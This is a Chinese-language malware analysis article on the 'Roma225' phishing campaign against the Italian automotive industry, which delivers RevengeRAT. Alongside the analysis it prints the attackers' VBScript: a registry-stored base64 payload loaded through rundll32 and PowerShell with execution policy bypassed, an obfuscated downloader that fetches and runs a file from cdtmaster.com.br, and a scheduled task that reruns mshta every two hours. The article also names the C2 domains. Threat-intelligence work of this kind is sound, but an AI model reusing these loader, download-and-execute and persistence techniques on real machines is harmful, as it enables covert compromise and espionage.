最近,Cybaze-Yoroi ZLab的研究人员对一款针对意大利汽车行业的间谍恶意软件进行了分析。该恶意软件是通过钓鱼电子邮件传播的,***者试图伪装成巴西一家知名商业律师事务所的高级合伙人——Veirano Advogados。
恶意电子邮件的附件是一个PowerPoint外接程序文件(.ppa文件),包含能够自动运行的VBA宏代码。
图1:.ppa文件打开时显示的弹出窗口
技术分析
上述.ppa文件中的宏代码包含一个简单的指令,能够调用“mshta.exe”工具从“hxxps://minhacasaminhavidacdt.blogspot[.com/”下载并执行用于感染链下一阶段的dropper。
图2:从.ppa文件中提取出来的宏
由上面这个Blogspot URL托管的Web页面从表面上看是完全合法的——在浏览器中打开它,你只会看到一个记录工作进度的博客页面。
图3:由上述Blogspot URL托管的Web页面
但是,如果仔细查看它的源代码,你就会发现它实际上包含了一段恶意VBScript代码。
图4:隐藏在网页源代码中的Visual Basic脚本
有趣的是,该恶意软件的作者还试图误导受害者认为这个脚本来自“微软公司”。比如,我们可以在上图中就看到如下内容:
‘ Copyright: Microsoft Corp.
‘ This script is designed to be used only for scheduled tasks(s).
‘ There is no extensive error check, and will not dump the output from the Powershell CmdLet.‘‘ Usage: SyncAppvPublishingServer {cmdline-args(passthrough to cmdlet)}
实际上,这段内容是“SyncAppvPublishingServer”实用程序的一部分。对于运行Windows 10的计算机而言,这个实用程序通常位于“C:\Windows\System32\SyncAppvPublishingServer.vbs”。无论如何,除这段内容外,上述脚本的其余部分则被用于执行一系列恶意操作:
将一个base64编码版本的“RevengeRAT”payload存储到位于“HKCU\AppEvents\Values”的注册表项中。
CreateObject("Wscript.Shell").regwrite "HKCU\AppEvents\Values", "TVqQAAMAAAAEAAAA//8AALgAAA.....[continue]" , "REG_SZ"
解码并执行存储的payload。
Set A0102030405 = CreateObject("WScript.Shell")
Dim CDT0908087CDT
CDT0908087CDT = "cmd." + "exe /C rundll32." + "exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WScript.Shell"").run(""cmd." + "exe /c power" + "shell -" + "Execution" + "Policy Bypass -windows" + "tyle hidden -noexit -Command [Reflection." + "Assembly]::Load([Convert]::FromBase64String((Get-ItemProperty HKCU:\AppEvents).Values)).EntryPoint" + ".Invoke($N" + "ull,$" + "Null)"",0,true);"
A0102030405.run CDT0908087CDT, vbHide
创建并执行另一个VBScript脚本“%AppData%\Local\Temp\Z3j.vbs”。需要注意的是,这个脚本能够从“hxxp://cdtmaster.com[.]br”下载一个新的payload。
Set XbonXo = CreateObject("WScript.Shell")
Dim XoowA83AC
XoowA83AC = "c" + "M" + "d /c cd %TEMP% &@echo Z6h = ""h" + "t" + "tp://cdtmaster.com.br/Document." + "mp3"">>Z3j.vbs &@echo M2l = M5t(""R]Qc[S\b<SfS"")>>Z3j.vbs &@echo Set M1s = CreateObject(M5t(""[af[Z@<f[ZVbb^""))>>Z3j.vbs &@echo M1s.Open M5t(""USb""), Z6h, False>>Z3j.vbs &@echo M1s.send ("""")>>Z3j.vbs &@echo Set E3i = CreateObject(M5t(""OR]RP<ab`SO[""))>>Z3j.vbs &@echo E3i.Open>>Z3j.vbs &@echo E3i.Type = 1 >>Z3j.vbs &@echo E3i.Write M1s.ResponseBody>>Z3j.vbs & @echo E3i.Position = 0 >>Z3j.vbs &@echo E3i.SaveToFile M2l, 2 >>Z3j.vbs &@echo E3i.Close>>Z3j.vbs &@echo function M5t(N3y) >> Z3j.vbs &@echo For S2r = 1 To Len(N3y) >>Z3j.vbs &@echo E0k = Mid(N3y, S2r, 1) >>Z3j.vbs &@echo E0k = Chr(Asc(E0k)- 14) >>Z3j.vbs &@echo G3f = G3f + E0k >> Z3j.vbs &@echo Next >>Z3j.vbs &@echo M5t = G3f >>Z3j.vbs &@echo End Function >>Z3j.vbs& Z3j.vbs &dEl Z3j.vbs & timeout 2 & DOCUMENT.EXE"
XbonXo.Run XoowA83AC, vbHide
最后,创建一个新的计划任务——每两个小时使用“hxxps://pocasideiascdt.blogspot[.]com/”参数运行一次上述“exe”工具。这个URL指向的网页实际上是“https://minhacasaminhavidacdt.blogspot[.]com/”的一个镜像。
Dim OUGo57658586GFFJHG
Set OUGo57658586GFFJHG = CreateObject("WScript.Shell")
asdmmmc= "c" + "Md /c Sc" + "hTa" + "sks /Cre" + "ate /sc MIN" + "UTE /MO 120 /TN OfficeData /TR ""m" + "sh" + "ta." + "exe h" + "ttp" + "s://pocasideiascdt.blogspot.com/"" /F "
OUGo57658586GFFJHG.Run asdmmmc, vbHide
self.close
图5:用于实现持久性的计划任务
总的来说,感染链的最后阶段旨在安装隐藏在注册表项中的RevengeRAT变种,并运行由二进制文件“Document.exe ”(从hxxp://cdtmaster.com[.]br/Document.mp3下载)提取的可执行文件“outlook.exe”。
图6. Roma255感染链
RevengeRAT Payload
一旦被执行,这个RAT就会立即与其命令和控制(C2)服务器建立连接,并发送有关受害者计算机的信息。对于Cybaze-Yoroi ZLab分析的样本而言,其作者为它配置了两个不同的C2地址:“office365update[.]duckdns.org”和“systen32.ddns[.]net”。
图7: RevengeRAT的配置
如果其中一个出现了故障,这个RAT就会转向使用另一个。在撰写本文时,这两个C2都处于关闭状态,因此只有模拟服务器的行为才能继续对RAT发送的信息进行分析。
总之,这个RAT首先会与服务器建立TCP连接,并向其发送以下数据:
图8:RevengeRAT发送的数据
如果你仔细观察,就能够在数据字段之间发现一个反复出现的字符串——roma225。它被用作分隔符,也是为什么Cybaze-Yoroi ZLab将这场活动命名为“roma225”的原因。
拆分并解码上述数据,我们便可以很清楚地了解到RAT上传了哪些信息。
图9:解码后的数据
如上所述,在撰写本文时,两个C2都处于关闭状态。但对这两个C2地址的分析表明,***者的基础设施可能位于不同的国家。
例如,域名“office365update[.]duckdns.org”被解析为IP地址184.75.209.169,位于加拿大。
此外,域名“systen32.ddns[.]net”被解析为IP地址138.36.3.228,位于巴西。
Document.exe
“Document.exe”托管在“cdtmaster.com[.]br”上,实际上是通过脚本“Z3j.vbs”下载到受害者计算机中的。这个PE32文件的一个显著特征是使用了Pokemon Megaball图片来作为它的图标,它的唯一目的就是安装并运行“Outlook.exe”payload。
对“Outlook.exe”的静态分析表明,它试图伪装成“SendBlaster”,一款电子邮件群发工具,目前由意大利eDisplay Srl公司负责开发。
图10:Outlook.exe静态信息
当“Document.exe”被执行时,没有网络流量发出或文件系统遭到修改。但是,它将一个监听套接字绑定到了本地地址和端口“tcp://127.0.0.1:49356”上。
目前,Cybaze-Yoroi ZLab的研究人员仍在继续对这个“Outlook.exe”文件进行分析,以揭露其真实目的。
总结
在进行了第一次分析之后,Cybaze-Yoroi ZLab并没有能够将这起网络间谍活动归因于特定的网络犯罪团伙。因为,RevengeRAT此前就已经被许多APT组织使用过,比如Gorgon Group(由的研究人员分析过的一个APT组织,曾针对英国、西班牙、俄罗斯和美国的政府机构实施过网络间谍活动)。另外,这个APT的源代码在几年前还曾遭到过泄露,它很有可能已经成为了许多网络犯罪团伙的***工具之一。
无论如何,这起活动与Unit42所分析的活动的确存在一些相似之处。比如,使用了相似的基础设施(如本文中的Blogger网站)来托管dropper,以及使用了其他主流RAT作为最终的后门(如njRAT)。
事实上,“cdtmaster.com.]br”还托管有其他可疑文件。比如,二进制文件“nj.mp3 ”。这个文件实际上就是njRAT的一个变种。如上所述,针对这些文件的调查仍在进行中。
图11:托管在ctdmaster.com[.br上的恶意文件